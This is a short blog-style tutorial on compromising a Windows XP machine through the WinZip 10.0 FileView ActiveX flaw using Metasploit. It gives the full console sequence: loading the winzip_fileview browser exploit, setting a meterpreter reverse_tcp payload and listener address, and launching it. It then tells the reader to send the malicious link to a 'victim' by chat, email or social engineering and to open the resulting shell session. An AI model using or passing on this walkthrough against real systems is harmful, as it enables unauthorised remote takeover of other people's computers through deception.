How to Attacking on Windows PC in LAN using WinZip

The File View ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a remote attacker to execute arbitrary code on the system. The control contains several unsafe methods and is marked safe for scripting and safe for initialization. A remote attacker could exploit this vulnerability to execute arbitrary code on the victim system. WinZip 10.0 <= Build 6667 are vulnerable.

Exploit Targets

WinZip 10.0 <= Build 6667

Windows XP service pack 2

Windows XP service pack 3


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/winzip_fileview

Msf exploit (winzip_fileview)>set payload windows/meterpreter/reverse_tcp

Msf exploit (winzip_fileview)>set lhost (IP of Local Host)

Msf exploit (winzip_fileview)>set uripath zip (The Url to use for this exploit)

Msf exploit (winzip_fileview)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

Leave a Reply

Your email address will not be published. Required fields are marked *